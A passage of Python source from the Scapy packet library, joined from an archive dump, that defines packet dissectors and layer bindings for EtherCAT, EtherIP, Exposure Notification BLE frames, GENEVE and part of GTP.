cur_val_bit_idx = 0 cur_val = 0 elif field_required_bits > octet_bits_left: # take remaining bits cur_val |= octet << cur_val_bit_idx cur_val_bit_idx += octet_bits_left field_required_bits -= octet_bits_left octet_bits_left = 0 return s[bf_total_byte_length:], this_val class LEBitFieldLenField(LEBitField): __slots__ = ["length_of", "count_of", "adjust"] def __init__(self, name, default, size, length_of=None, count_of=None, adjust=lambda pkt, x: x): # noqa: E501 LEBitField.__init__(self, name, default, size) self.length_of = length_of self.count_of = count_of self.adjust = adjust def i2m(self, pkt, x): return (FieldLenField.i2m.__func__ if six.PY2 else FieldLenField.i2m)(self, pkt, x) # noqa: E501 class LEBitEnumField(LEBitField, _EnumField): __slots__ = EnumField.__slots__ def __init__(self, name, default, size, enum): _EnumField.__init__(self, name, default, enum) self.rev = size < 0 self.size = abs(size) ################################################ # DLPDU structure definitions (read/write PDUs) ################################################ ETHERCAT_TYPE_12_CIRCULATING_FRAME = { 0x00: 'FRAME-NOT-CIRCULATING', 0x01: 'FRAME-CIRCULATED-ONCE' } ETHERCAT_TYPE_12_NEXT_FRAME = { 0x00: 'LAST-TYPE12-PDU', 0x01: 'TYPE12-PDU-FOLLOWS' } class EtherCatType12DLPDU(Packet): """ Type12 message base class """ def post_build(self, pkt, pay): """ set next attr automatically if not set explicitly by user :param pkt: raw string containing the current layer :param pay: raw string containing the payload :return: + payload """ data_len = len(self.data) if data_len > 2047: raise ValueError('payload size {} exceeds maximum length {} ' 'of data size.'.format(data_len, 2047)) if self.next is not None: has_next = True if self.next else False else: if pay: has_next = True else: has_next = False if has_next: next_flag = bytearray([pkt[7] | 0b10000000]) else: next_flag = bytearray([pkt[7] & 0b01111111]) return pkt[:7] + next_flag + pkt[8:] + pay def guess_payload_class(self, payload): try: dlpdu_type = payload[0] return EtherCat.ETHERCAT_TYPE12_DLPDU_TYPES[dlpdu_type] except KeyError: log_runtime.error( '{}.guess_payload_class() - unknown or invalid ' 'DLPDU type'.format(self.__class__.__name__)) return Packet.guess_payload_class(self, payload) # structure templates lacking leading cmd-attribute PHYSICAL_ADDRESSING_DESC = [ ByteField('idx', 0), LEShortField('adp', 0), LEShortField('ado', 0), LEBitFieldLenField('len', None, 11, count_of='data'), LEBitField('_reserved', 0, 3), LEBitEnumField('c', 0, 1, ETHERCAT_TYPE_12_CIRCULATING_FRAME), LEBitEnumField('next', None, 1, ETHERCAT_TYPE_12_NEXT_FRAME), LEShortField('irq', 0), FieldListField('data', [], ByteField('', 0x00), count_from=lambda pkt: pkt.len), LEShortField('wkc', 0) ] BROADCAST_ADDRESSING_DESC = PHYSICAL_ADDRESSING_DESC LOGICAL_ADDRESSING_DESC = [ ByteField('idx', 0), LEIntField('adr', 0), LEBitFieldLenField('len', None, 11, count_of='data'), LEBitField('_reserved', 0, 3), LEBitEnumField('c', 0, 1, ETHERCAT_TYPE_12_CIRCULATING_FRAME), LEBitEnumField('next', None, 1, ETHERCAT_TYPE_12_NEXT_FRAME), LEShortField('irq', 0), FieldListField('data', [], ByteField('', 0x00), count_from=lambda pkt: pkt.len), LEShortField('wkc', 0) ] ################ # read messages ################ class EtherCatAPRD(EtherCatType12DLPDU): """ APRD - Auto Increment Physical Read (IEC 61158-5-12, sec. 5.4.1.2 tab. 14 / p. 32) """ fields_desc = [ByteField('_cmd', 0x01)] + \ EtherCatType12DLPDU.PHYSICAL_ADDRESSING_DESC class EtherCatFPRD(EtherCatType12DLPDU): """ FPRD - Configured address physical read (IEC 61158-5-12, sec. 5.4.1.3 tab. 15 / p. 33) """ fields_desc = [ByteField('_cmd', 0x04)] + \ EtherCatType12DLPDU.PHYSICAL_ADDRESSING_DESC class EtherCatBRD(EtherCatType12DLPDU): """ BRD - Broadcast read (IEC 61158-5-12, sec. 5.4.1.4 tab. 16 / p. 34) """ fields_desc = [ByteField('_cmd', 0x07)] + \ EtherCatType12DLPDU.BROADCAST_ADDRESSING_DESC class EtherCatLRD(EtherCatType12DLPDU): """ LRD - Logical read (IEC 61158-5-12, sec. 5.4.1.5 tab. 17 / p. 36) """ fields_desc = [ByteField('_cmd', 0x0a)] + \ EtherCatType12DLPDU.LOGICAL_ADDRESSING_DESC ################# # write messages ################# class EtherCatAPWR(EtherCatType12DLPDU): """ APWR - Auto Increment Physical Write (IEC 61158-5-12, sec. 5.4.2.2 tab. 18 / p. 37) """ fields_desc = [ByteField('_cmd', 0x02)] + \ EtherCatType12DLPDU.PHYSICAL_ADDRESSING_DESC class EtherCatFPWR(EtherCatType12DLPDU): """ FPWR - Configured address physical write (IEC 61158-5-12, sec. 5.4.2.3 tab. 19 / p. 38) """ fields_desc = [ByteField('_cmd', 0x05)] + \ EtherCatType12DLPDU.PHYSICAL_ADDRESSING_DESC class EtherCatBWR(EtherCatType12DLPDU): """ BWR - Broadcast read (IEC 61158-5-12, sec. 5.4.2.4 tab. 20 / p. 39) """ fields_desc = [ByteField('_cmd', 0x08)] + \ EtherCatType12DLPDU.BROADCAST_ADDRESSING_DESC class EtherCatLWR(EtherCatType12DLPDU): """ LWR - Logical write (IEC 61158-5-12, sec. 5.4.2.5 tab. 21 / p. 40) """ fields_desc = [ByteField('_cmd', 0x0b)] + \ EtherCatType12DLPDU.LOGICAL_ADDRESSING_DESC ###################### # read/write messages ###################### class EtherCatAPRW(EtherCatType12DLPDU): """ APRW - Auto Increment Physical Read Write (IEC 61158-5-12, sec. 5.4.3.1 tab. 22 / p. 41) """ fields_desc = [ByteField('_cmd', 0x03)] + \ EtherCatType12DLPDU.PHYSICAL_ADDRESSING_DESC class EtherCatFPRW(EtherCatType12DLPDU): """ FPRW - Configured address physical read write (IEC 61158-5-12, sec. 5.4.3.2 tab. 23 / p. 43) """ fields_desc = [ByteField('_cmd', 0x06)] + \ EtherCatType12DLPDU.PHYSICAL_ADDRESSING_DESC class EtherCatBRW(EtherCatType12DLPDU): """ BRW - Broadcast read write (IEC 61158-5-12, sec. 5.4.3.3 tab. 24 / p. 39) """ fields_desc = [ByteField('_cmd', 0x09)] + \ EtherCatType12DLPDU.BROADCAST_ADDRESSING_DESC class EtherCatLRW(EtherCatType12DLPDU): """ LRW - Logical read write (IEC 61158-5-12, sec. 5.4.3.4 tab. 25 / p. 45) """ fields_desc = [ByteField('_cmd', 0x0c)] + \ EtherCatType12DLPDU.LOGICAL_ADDRESSING_DESC class EtherCatARMW(EtherCatType12DLPDU): """ ARMW - Auto increment physical read multiple write (IEC 61158-5-12, sec. 5.4.3.5 tab. 26 / p. 46) """ fields_desc = [ByteField('_cmd', 0x0d)] + \ EtherCatType12DLPDU.PHYSICAL_ADDRESSING_DESC class EtherCatFRMW(EtherCatType12DLPDU): """ FRMW - Configured address physical read multiple write (IEC 61158-5-12, sec. 5.4.3.6 tab. 27 / p. 47) """ fields_desc = [ByteField('_cmd', 0x0e)] + \ EtherCatType12DLPDU.PHYSICAL_ADDRESSING_DESC class EtherCat(Packet): """ Common EtherCat header layer """ ETHER_HEADER_LEN = 14 ETHER_FSC_LEN = 4 ETHER_FRAME_MIN_LEN = 64 ETHERCAT_HEADER_LEN = 2 FRAME_TYPES = { 0x01: 'TYPE-12-PDU', 0x04: 'NETWORK-VARIABLES', 0x05: 'MAILBOX' } fields_desc = [ LEBitField('length', 0, 11), LEBitField('_reserved', 0, 1), LEBitField('type', 0, 4), ] ETHERCAT_TYPE12_DLPDU_TYPES = { 0x01: EtherCatAPRD, 0x04: EtherCatFPRD, 0x07: EtherCatBRD, 0x0a: EtherCatLRD, 0x02: EtherCatAPWR, 0x05: EtherCatFPWR, 0x08: EtherCatBWR, 0x0b: EtherCatLWR, 0x03: EtherCatAPRW, 0x06: EtherCatFPRW, 0x09: EtherCatBRW, 0x0c: EtherCatLRW, 0x0d: EtherCatARMW, 0x0e: EtherCatFRMW } def post_build(self, pkt, pay): """ need to set the length of the whole PDU manually to avoid any bit fiddling use a dummy class to build the layer content also add padding if frame is < 64 bytes Note: padding only handles Ether/n*Dot1Q/EtherCat (no special mumbo jumbo) :param pkt: raw string containing the current layer :param pay: raw string containing the payload :return: + payload """ class _EtherCatLengthCalc(Packet): """ dummy class used to generate str representation easily """ fields_desc = [ LEBitField('length', None, 11), LEBitField('_reserved', 0, 1), LEBitField('type', 0, 4), ] payload_len = len(pay) # length field is 11 bit if payload_len > 2047: raise ValueError('payload size {} exceeds maximum length {} ' 'of EtherCat message.'.format(payload_len, 2047)) self.length = payload_len vlan_headers_total_size = 0 upper_layer = self.underlayer # add size occupied by VLAN tags while upper_layer and isinstance(upper_layer, Dot1Q): vlan_headers_total_size += 4 upper_layer = upper_layer.underlayer if not isinstance(upper_layer, Ether): raise Exception('missing Ether layer') pad_len = EtherCat.ETHER_FRAME_MIN_LEN - (EtherCat.ETHER_HEADER_LEN + vlan_headers_total_size + EtherCat.ETHERCAT_HEADER_LEN + # noqa: E501 payload_len + EtherCat.ETHER_FSC_LEN) if pad_len > 0: pad = Padding() pad.load = b'\x00' * pad_len return raw(_EtherCatLengthCalc(length=self.length, type=self.type)) + pay + raw(pad) return raw(_EtherCatLengthCalc(length=self.length, type=self.type)) + pay def guess_payload_class(self, payload): try: dlpdu_type = payload[0] return EtherCat.ETHERCAT_TYPE12_DLPDU_TYPES[dlpdu_type] except KeyError: log_runtime.error( '{}.guess_payload_class() - unknown or invalid ' 'DLPDU type'.format(self.__class__.__name__)) return Packet.guess_payload_class(self, payload) bind_layers(Ether, EtherCat, type=0x88a4) bind_layers(Dot1Q, EtherCat, type=0x88a4) # bindings for DLPDUs bind_layers(EtherCat, EtherCatAPRD, type=0x01) bind_layers(EtherCat, EtherCatFPRD, type=0x01) bind_layers(EtherCat, EtherCatBRD, type=0x01) bind_layers(EtherCat, EtherCatLRD, type=0x01) bind_layers(EtherCat, EtherCatAPWR, type=0x01) bind_layers(EtherCat, EtherCatFPWR, type=0x01) bind_layers(EtherCat, EtherCatBWR, type=0x01) bind_layers(EtherCat, EtherCatLWR, type=0x01) bind_layers(EtherCat, EtherCatAPRW, type=0x01) bind_layers(EtherCat, EtherCatFPRW, type=0x01) bind_layers(EtherCat, EtherCatBRW, type=0x01) bind_layers(EtherCat, EtherCatLRW, type=0x01) bind_layers(EtherCat, EtherCatARMW, type=0x01) bind_layers(EtherCat, EtherCatFRMW, type=0x01) scapy-2.4.4/scapy/contrib/etherip.py000066400000000000000000000020521372370053500174350ustar00rootroot00000000000000# This file is part of Scapy # Scapy is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 2 of the License, or # any later version. # # Scapy is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with Scapy. If not, see . # scapy.contrib.description = EtherIP # scapy.contrib.status = loads from scapy.fields import BitField from scapy.packet import Packet, bind_layers from scapy.layers.inet import IP from scapy.layers.l2 import Ether class EtherIP(Packet): name = "EtherIP / RFC 3378" fields_desc = [BitField("version", 3, 4), BitField("reserved", 0, 12)] bind_layers(IP, EtherIP, frag=0, proto=0x61) bind_layers(EtherIP, Ether) scapy-2.4.4/scapy/contrib/exposure_notification.py000066400000000000000000000046601372370053500224240ustar00rootroot00000000000000# -*- mode: python3; indent-tabs-mode: nil; tab-width: 4 -*- # exposure_notification.py - Apple/Google Exposure Notification System # # This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) 2020 Michael Farrell # This program is published under a GPLv2 (or later) license # # scapy.contrib.description = Apple/Google Exposure Notification System (ENS) # scapy.contrib.status = loads """ Apple/Google Exposure Notification System (ENS), formerly known as Privacy-Preserving Contact Tracing Project. This module parses the Bluetooth Low Energy beacon payloads used by the system. This does **not** yet implement any cryptographic functionality. More info: * `Apple: Privacy-Preserving Contact Tracing`__ * `Google: Exposure Notifications`__ * `Wikipedia: Exposure Notification`__ __ https://www.apple.com/covid19/contacttracing/ __ https://www.google.com/covid19/exposurenotifications/ __ https://en.wikipedia.org/wiki/Exposure_Notification Bluetooth protocol specifications: * `v1.1`_ (April 2020) * `v1.2`_ (April 2020) .. _v1.1: https://blog.google/documents/58/Contact_Tracing_-_Bluetooth_Specification_v1.1_RYGZbKW.pdf .. _v1.2: https://covid19-static.cdn-apple.com/applications/covid19/current/static/contact-tracing/pdf/ExposureNotification-BluetoothSpecificationv1.2.pdf """ # noqa: E501 from scapy.fields import StrFixedLenField from scapy.layers.bluetooth import EIR_Hdr, EIR_ServiceData16BitUUID, \ EIR_CompleteList16BitServiceUUIDs, LowEnergyBeaconHelper from scapy.packet import bind_layers, Packet EXPOSURE_NOTIFICATION_UUID = 0xFD6F class Exposure_Notification_Frame(Packet, LowEnergyBeaconHelper): """Apple/Google BLE Exposure Notification broadcast frame.""" name = "Exposure Notification broadcast" fields_desc = [ # Rolling Proximity Identifier StrFixedLenField("identifier", None, 16), # Associated Encrypted Metadata (added in v1.2) StrFixedLenField("metadata", None, 4), ] def build_eir(self): """Builds a list of EIR messages to wrap this frame.""" return LowEnergyBeaconHelper.base_eir + [ EIR_Hdr() / EIR_CompleteList16BitServiceUUIDs(svc_uuids=[ EXPOSURE_NOTIFICATION_UUID]), EIR_Hdr() / EIR_ServiceData16BitUUID() / self ] bind_layers(EIR_ServiceData16BitUUID, Exposure_Notification_Frame, svc_uuid=EXPOSURE_NOTIFICATION_UUID) scapy-2.4.4/scapy/contrib/geneve.py000066400000000000000000000054741372370053500172610ustar00rootroot00000000000000# Copyright (C) 2018 Hao Zheng # This file is part of Scapy # Scapy is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 2 of the License, or # any later version. # # Scapy is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with Scapy. If not, see . # scapy.contrib.description = Generic Network Virtualization Encapsulation (GENEVE) # scapy.contrib.status = loads """ Geneve: Generic Network Virtualization Encapsulation draft-ietf-nvo3-geneve-06 """ from scapy.fields import BitField, XByteField, XShortEnumField, X3BytesField, \ XStrField from scapy.packet import Packet, bind_layers from scapy.layers.inet import IP, UDP from scapy.layers.inet6 import IPv6 from scapy.layers.l2 import Ether, ETHER_TYPES from scapy.compat import chb, orb from scapy.error import warning class GENEVEOptionsField(XStrField): islist = 1 def getfield(self, pkt, s): opln = pkt.optionlen * 4 if opln < 0: warning("bad optionlen (%i). Assuming optionlen=0" % pkt.optionlen) opln = 0 return s[opln:], self.m2i(pkt, s[:opln]) class GENEVE(Packet): name = "GENEVE" fields_desc = [BitField("version", 0, 2), BitField("optionlen", None, 6), BitField("oam", 0, 1), BitField("critical", 0, 1), BitField("reserved", 0, 6), XShortEnumField("proto", 0x0000, ETHER_TYPES), X3BytesField("vni", 0), XByteField("reserved2", 0x00), GENEVEOptionsField("options", "")] def post_build(self, p, pay): p += pay optionlen = self.optionlen if optionlen is None: optionlen = (len(self.options) + 3) // 4 p = chb(optionlen & 0x2f | orb(p[0]) & 0xc0) + p[1:] return p def answers(self, other): if isinstance(other, GENEVE): if ((self.proto == other.proto) and (self.vni == other.vni)): return self.payload.answers(other.payload) else: return self.payload.answers(other) return 0 def mysummary(self): return self.sprintf("GENEVE (vni=%GENEVE.vni%," "optionlen=%GENEVE.optionlen%," "proto=%GENEVE.proto%)") bind_layers(UDP, GENEVE, dport=6081) bind_layers(GENEVE, Ether, proto=0x6558) bind_layers(GENEVE, IP, proto=0x0800) bind_layers(GENEVE, IPv6, proto=0x86dd) scapy-2.4.4/scapy/contrib/gtp.py000066400000000000000000001150001372370053500165650ustar00rootroot00000000000000# Copyright (C) 2018 Leonardo Monteiro # 2017 Alexis Sultan # 2017 Alessio Deiana # 2014 Guillaume Valadon # 2012 ffranz ## # This program is published under a GPLv2 license # scapy.contrib.description = GPRS Tunneling Protocol (GTP) # scapy.contrib.status = loads from __future__ import absolute_import import struct from scapy.compat import chb, orb, bytes_encode from scapy.config import conf from scapy.error import warning from scapy.fields import BitEnumField, BitField, ByteEnumField, ByteField, \ ConditionalField, FieldLenField, FieldListField, FlagsField, IntField, \ IPField, PacketListField, ShortField, StrFixedLenField, StrLenField, \ XBitField, XByteField, XIntField from scapy.layers.inet import IP, UDP from scapy.layers.inet6 import IPv6, IP6Field from scapy.layers.ppp import PPP from scapy.modules.six.moves import range from scapy.packet import bind_layers, bind_bottom_up, bind_top_down, \ Packet, Raw from scapy.volatile import RandInt, RandIP, RandNum, RandString # GTP Data types RATType = { 1: "UTRAN", 2: "GETRAN", 3: "WLAN", 4: "GAN", 5: "HSPA" } GTPmessageType = {1: "echo_request", 2: "echo_response", 16: "create_pdp_context_req", 17: "create_pdp_context_res", 18: "update_pdp_context_req", 19: "update_pdp_context_resp", 20: "delete_pdp_context_req", 21: "delete_pdp_context_res", 26: "error_indication", 27: "pdu_notification_req", 31: "supported_extension_headers_notification", 254: "end_marker", 255: "g_pdu"} IEType = {1: "Cause", 2: "IMSI", 3: "RAI", 4: "TLLI", 5: "P_TMSI", 8: "IE_ReorderingRequired", 14: "Recovery", 15: "SelectionMode", 16: "TEIDI", 17: "TEICP", 19: "TeardownInd", 20: "NSAPI", 26: "ChargingChrt", 27: "TraceReference", 28: "TraceType", 127: "ChargingId", 128: "EndUserAddress", 131: "AccessPointName", 132: "ProtocolConfigurationOptions", 133: "GSNAddress", 134: "MSInternationalNumber", 135: "QoS", 148: "CommonFlags", 149: "APNRestriction", 151: "RatType", 152: "UserLocationInformation", 153: "MSTimeZone", 154: "IMEI", 181: "MSInfoChangeReportingAction", 184: "BearerControlMode", 191: "EvolvedAllocationRetentionPriority", 255: "PrivateExtention"} CauseValues = {0: "Request IMSI", 1: "Request IMEI", 2: "Request IMSI and IMEI", 3: "No identity needed", 4: "MS Refuses", 5: "MS is not GPRS Responding", 128: "Request accepted", 129: "New PDP type due to network preference", 130: "New PDP type due to single address bearer only", 192: "Non-existent", 193: "Invalid message format", 194: "IMSI not known", 195: "MS is GPRS Detached", 196: "MS is not GPRS Responding", 197: "MS Refuses", 198: "Version not supported", 199: "No resources available", 200: "Service not supported", 201: "Mandatory IE incorrect", 202: "Mandatory IE missing", 203: "Optional IE incorrect", 204: "System failure", 205: "Roaming restriction", 206: "P-TMSI Signature mismatch", 207: "GPRS connection suspended", 208: "Authentication failure", 209: "User authentication failed", 210: "Context not found", 211: "All dynamic PDP addresses are occupied", 212: "No memory is available", 213: "Reallocation failure", 214: "Unknown mandatory extension header", 215: "Semantic error in the TFT operation", 216: "Syntactic error in TFT operation", 217: "Semantic errors in packet filter(s)", 218: "Syntactic errors in packet filter(s)", 219: "Missing or unknown APN", 220: "Unknown PDP address or PDP type", 221: "PDP context without TFT already activated", 222: "APN access denied : no subscription", 223: "APN Restriction type incompatibility with currently active PDP Contexts", # noqa: E501 224: "MS MBMS Capabilities Insufficient", 225: "Invalid Correlation : ID", 226: "MBMS Bearer Context Superseded", 227: "Bearer Control Mode violation", 228: "Collision with network initiated request"} Selection_Mode = {11111100: "MS or APN", 11111101: "MS", 11111110: "NET", 11111111: "FutureUse"} TrueFalse_value = {254: "False", 255: "True"} # http://www.arib.or.jp/IMT-2000/V720Mar09/5_Appendix/Rel8/29/29281-800.pdf ExtensionHeadersTypes = { 0: "No more extension headers", 1: "Reserved", 2: "Reserved", 64: "UDP Port", 133: "PDU Session Container", 192: "PDCP PDU Number", 193: "Reserved", 194: "Reserved" } class TBCDByteField(StrFixedLenField): def i2h(self, pkt, val): return val def m2i(self, pkt, val): ret = [] for v in val: byte = orb(v) left = byte >> 4 right = byte & 0xf if left == 0xf: ret.append(TBCD_TO_ASCII[right:right + 1]) else: ret += [ TBCD_TO_ASCII[right:right + 1], TBCD_TO_ASCII[left:left + 1] ] return b"".join(ret) def i2m(self, pkt, val): if not isinstance(val, bytes): val = bytes_encode(val) ret_string = b"" for i in range(0, len(val), 2): tmp = val[i:i + 2] if len(tmp) == 2: ret_string += chb(int(tmp[::-1], 16)) else: ret_string += chb(int(b"F" + tmp[:1], 16)) return ret_string TBCD_TO_ASCII = b"0123456789*#abc" class GTP_ExtensionHeader(Packet): @classmethod def dispatch_hook(cls, _pkt=None, *args, **kargs): if _pkt is None: return GTP_UDPPort_ExtensionHeader return cls class GTP_UDPPort_ExtensionHeader(GTP_ExtensionHeader): fields_desc = [ByteField("length", 0x40), ShortField("udp_port", None), ByteEnumField("next_ex", 0, ExtensionHeadersTypes), ] class GTP_PDCP_PDU_ExtensionHeader(GTP_ExtensionHeader): fields_desc = [ByteField("length", 0x01), ShortField("pdcp_pdu", None), ByteEnumField("next_ex", 0, ExtensionHeadersTypes), ] class GTPHeader(Packet): # 3GPP TS 29.060 V9.1.0 (2009-12) name = "GTP-C Header" fields_desc = [BitField("version", 1, 3), BitField("PT", 1, 1), BitField("reserved", 0, 1), BitField("E", 0, 1), BitField("S", 0, 1), BitField("PN", 0, 1), ByteEnumField("gtp_type", None, GTPmessageType), ShortField("length", None), IntField("teid", 0), ConditionalField( XBitField("seq", 0, 16), lambda pkt:pkt.E == 1 or pkt.S == 1 or pkt.PN == 1), ConditionalField( ByteField("npdu", 0), lambda pkt:pkt.E == 1 or pkt.S == 1 or pkt.PN == 1), ConditionalField( ByteEnumField("next_ex", 0, ExtensionHeadersTypes), lambda pkt:pkt.E == 1 or pkt.S == 1 or pkt.PN == 1), ] def post_build(self, p, pay): p += pay if self.length is None: tmp_len = len(p) - 8 p = p[:2] + struct.pack("!H", tmp_len) + p[4:] return p def hashret(self): hsh = struct.pack("B", self.version) if self.seq: hsh += struct.pack("H", self.seq) return hsh + self.payload.hashret() def answers(self, other): return (isinstance(other, GTPHeader) and self.version == other.version and (not self.seq or self.seq == other.seq) and self.payload.answers(other.payload)) @classmethod def dispatch_hook(cls, _pkt=None, *args, **kargs): if _pkt and len(_pkt) >= 1: if (orb(_pkt[0]) >> 5) & 0x7 == 2: from . import gtp_v2 return gtp_v2.GTPHeader if _pkt and len(_pkt) >= 8: _gtp_type = orb(_pkt[1:2]) return GTPforcedTypes.get(_gtp_type, GTPHeader) return cls class GTP_U_Header(GTPHeader): # 3GPP TS 29.060 V9.1.0 (2009-12) name = "GTP-U Header" # GTP-U protocol is used to transmit T-PDUs between GSN pairs (or between an SGSN and an RNC in UMTS), # noqa: E501 # encapsulated in G-PDUs. A G-PDU is a packet including a GTP-U header and a T-PDU. The Path Protocol # noqa: E501 # defines the path and the GTP-U header defines the tunnel. Several tunnels may be multiplexed on a single path. # noqa: E501 def guess_payload_class(self, payload): # Snooped from Wireshark # https://github.com/boundary/wireshark/blob/07eade8124fd1d5386161591b52e177ee6ea849f/epan/dissectors/packet-gtp.c#L8195 # noqa: E501 if self.E == 1: if self.next_ex == 0x85: return GTPPDUSessionContainer return GTPHeader.guess_payload_class(self, payload) if self.gtp_type == 255: sub_proto = orb(payload[0]) if sub_proto >= 0x45 and sub_proto <= 0x4e: return IP elif (sub_proto & 0xf0) == 0x60: return IPv6 else: return PPP return GTPHeader.guess_payload_class(self, payload) # Some gtp_types have to be associated with a certain type of header GTPforcedTypes = { 16: GTPHeader, 17: GTPHeader, 18: GTPHeader, 19: GTPHeader, 20: GTPHeader, 21: GTPHeader, 26: GTP_U_Header, 27: GTPHeader, 254: GTP_U_Header, 255: GTP_U_Header } class GTPPDUSessionContainer(Packet): name = "GTP PDU Session Container" fields_desc = [ByteField("ExtHdrLen", None), BitField("type", 0, 4), BitField("spare1", 0, 4), BitField("P", 0, 1), BitField("R", 0, 1), BitField("QFI", 0, 6), ConditionalField(XBitField("PPI", 0, 3), lambda pkt: pkt.P == 1), ConditionalField(XBitField("spare2", 0, 5), lambda pkt: pkt.P == 1), ConditionalField(ByteField("pad1", 0), lambda pkt: pkt.P == 1), ConditionalField(ByteField("pad2", 0), lambda pkt: pkt.P == 1), ConditionalField(ByteField("pad3", 0), lambda pkt: pkt.P == 1), ConditionalField(StrLenField( "extraPadding", "", length_from=lambda pkt: 4 * (pkt.ExtHdrLen) - 4), lambda pkt: pkt.ExtHdrLen and pkt.ExtHdrLen > 1), ByteEnumField("NextExtHdr", 0, ExtensionHeadersTypes), ] def guess_payload_class(self, payload): if self.NextExtHdr == 0: sub_proto = orb(payload[0]) if sub_proto >= 0x45 and sub_proto <= 0x4e: return IP elif (sub_proto & 0xf0) == 0x60: return IPv6 else: return PPP return GTPHeader.guess_payload_class(self, payload) def post_build(self, p, pay): p += pay if self.ExtHdrLen is None: if self.P == 1: hdr_len = 2 else: hdr_len = 1 p = struct.pack("!B", hdr_len) + p[1:] return p class GTPEchoRequest(Packet): # 3GPP TS 29.060 V9.1.0 (2009-12) name = "GTP Echo Request" class IE_Base(Packet): def extract_padding(self, pkt): return "", pkt def post_build(self, p, pay): if self.fields_desc[1].name == "length": if self.length is None: tmp_len = len(p) if isinstance(self.payload, conf.padding_layer): tmp_len += len(self.payload.load) p = p[:1] + struct.pack("!H", tmp_len - 2) + p[3:] return p + pay class IE_Cause(IE_Base): name = "Cause" fields_desc = [ByteEnumField("ietype", 1, IEType), ByteEnumField("CauseValue", None, CauseValues)] class IE_IMSI(IE_Base): name = "IMSI - Subscriber identity of the MS" fields_desc = [ByteEnumField("ietype", 2, IEType), TBCDByteField("imsi", str(RandNum(0, 999999999999999)), 8)] class IE_Routing(IE_Base): name = "Routing Area Identity" fields_desc = [ByteEnumField("ietype", 3, IEType), TBCDByteField("MCC", "", 2), # MNC: if the third digit of MCC is 0xf, # then the length of MNC is 1 byte TBCDByteField("MNC", "", 1), ShortField("LAC", None), ByteField("RAC", None)] class IE_ReorderingRequired(IE_Base): name = "Recovery" fields_desc = [ByteEnumField("ietype", 8, IEType), ByteEnumField("reordering_required", 254, TrueFalse_value)] class IE_Recovery(IE_Base): name = "Recovery" fields_desc = [ByteEnumField("ietype", 14, IEType), ByteField("restart_counter", 24)] class IE_SelectionMode(IE_Base): # Indicates the origin of the APN in the message name = "Selection Mode" fields_desc = [ByteEnumField("ietype", 15, IEType), BitEnumField("SelectionMode", "MS or APN", 8, Selection_Mode)] class IE_TEIDI(IE_Base): name = "Tunnel Endpoint Identifier Data" fields_desc = [ByteEnumField("ietype", 16, IEType), XIntField("TEIDI", RandInt())] class IE_TEICP(IE_Base): name = "Tunnel Endpoint Identifier Control Plane" fields_desc = [ByteEnumField("ietype", 17, IEType), XIntField("TEICI", RandInt())] class IE_Teardown(IE_Base): name = "Teardown Indicator" fields_desc = [ByteEnumField("ietype", 19, IEType), ByteEnumField("indicator", "True", TrueFalse_value)] class IE_NSAPI(IE_Base): # Identifies a PDP context in a mobility management context specified by TEICP # noqa: E501 name = "NSAPI" fields_desc = [ByteEnumField("ietype", 20, IEType), XBitField("sparebits", 0x0000, 4), XBitField("NSAPI", RandNum(0, 15), 4)] class IE_ChargingCharacteristics(IE_Base): # Way of informing both the SGSN and GGSN of the rules for name = "Charging Characteristics" fields_desc = [ByteEnumField("ietype", 26, IEType), # producing charging information based on operator configured triggers. # noqa: E501 # 0000 .... .... .... : spare # .... 1... .... .... : normal charging # .... .0.. .... .... : prepaid charging # .... ..0. .... .... : flat rate charging # .... ...0 .... .... : hot billing charging # .... .... 0000 0000 : reserved XBitField("Ch_ChSpare", None, 4), XBitField("normal_charging", None, 1), XBitField("prepaid_charging", None, 1), XBitField("flat_rate_charging", None, 1), XBitField("hot_billing_charging", None, 1), XBitField("Ch_ChReserved", 0, 8)] class IE_TraceReference(IE_Base): # Identifies a record or a collection of records for a particular trace. name = "Trace Reference" fields_desc = [ByteEnumField("ietype", 27, IEType), XBitField("Trace_reference", None, 16)] class IE_TraceType(IE_Base): # Indicates the type of the trace name = "Trace Type" fields_desc = [ByteEnumField("ietype", 28, IEType), XBitField("Trace_type", None, 16)] class IE_ChargingId(IE_Base): name = "Charging ID" fields_desc = [ByteEnumField("ietype", 127, IEType), XIntField("Charging_id", RandInt())] class IE_EndUserAddress(IE_Base): # Supply protocol specific information of the external packet name = "End User Address" fields_desc = [ByteEnumField("ietype", 128, IEType), # data network accessed by the GGPRS subscribers. # - Request # 1 Type (1byte) # 2-3 Length (2bytes) - value 2 # 4 Spare + PDP Type Organization # 5 PDP Type Number # - Response # 6-n PDP Address ShortField("length", 2), BitField("SPARE", 15, 4), BitField("PDPTypeOrganization", 1, 4), XByteField("PDPTypeNumber", None), ConditionalField(IPField("PDPAddress", RandIP()), lambda pkt: pkt.length == 6 or pkt.length == 22), # noqa: E501 ConditionalField(IP6Field("IPv6_PDPAddress", '::1'), lambda pkt: pkt.length == 18 or pkt.length == 22)] # noqa: E501 class APNStrLenField(StrLenField): # Inspired by DNSStrField def m2i(self, pkt, s): ret_s = b"" tmp_s = s while tmp_s: tmp_len = orb(tmp_s[0]) + 1 if tmp_len > len(tmp_s): warning("APN prematured end of character-string (size=%i, remaining bytes=%i)" % (tmp_len, len(tmp_s))) # noqa: E501 ret_s += tmp_s[1:tmp_len] tmp_s = tmp_s[tmp_len:] if len(tmp_s): ret_s += b"." s = ret_s return s def i2m(self, pkt, s): if not isinstance(s, bytes): s = bytes_encode(s) s = b"".join(chb(len(x)) + x for x in s.split(b".")) return s class IE_AccessPointName(IE_Base): # Sent by SGSN or by GGSN as defined in 3GPP TS 23.060 name = "Access Point Name" fields_desc = [ByteEnumField("ietype", 131, IEType), ShortField("length", None), APNStrLenField("APN", "nternet", length_from=lambda x: x.length)] # noqa: E501 def post_build(self, p, pay): if self.length is None: tmp_len = len(p) - 3 p = p[:2] + struct.pack("!B", tmp_len) + p[3:] return p class IE_ProtocolConfigurationOptions(IE_Base): name = "Protocol Configuration Options" fields_desc = [ByteEnumField("ietype", 132, IEType), 